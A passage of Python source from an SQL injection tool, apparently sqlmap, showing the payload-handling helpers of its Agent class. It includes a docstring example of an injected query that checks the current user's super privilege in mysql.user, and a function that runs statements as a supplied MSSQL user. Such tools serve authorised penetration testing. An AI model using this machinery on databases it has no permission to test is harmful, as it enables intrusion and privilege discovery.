mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y' Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END) @param expression: expression to be processed @type num: C{str} @return: processed expression @rtype: C{str} """ caseExpression = expression if Backend.getIdentifiedDbms() is not None: caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] return caseExpression def addPayloadDelimiters(self, inpStr): """ Adds payload delimiters around the input string """ return "%s%s%s" % (PAYLOAD_DELIMITER, inpStr, PAYLOAD_DELIMITER) if inpStr else inpStr def removePayloadDelimiters(self, inpStr): """ Removes payload delimiters from inside the input string """ return inpStr.replace(PAYLOAD_DELIMITER, '') if inpStr else inpStr def extractPayload(self, inpStr): """ Extracts payload from inside of the input string """ return extractRegexResult("(?s)%s(?P.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), inpStr) def replacePayload(self, inpStr, payload): """ Replaces payload inside the input string with a given payload """ return re.sub("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), inpStr) if inpStr else inpStr def runAsDBMSUser(self, query): if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) return query # SQL agent agent = Agent()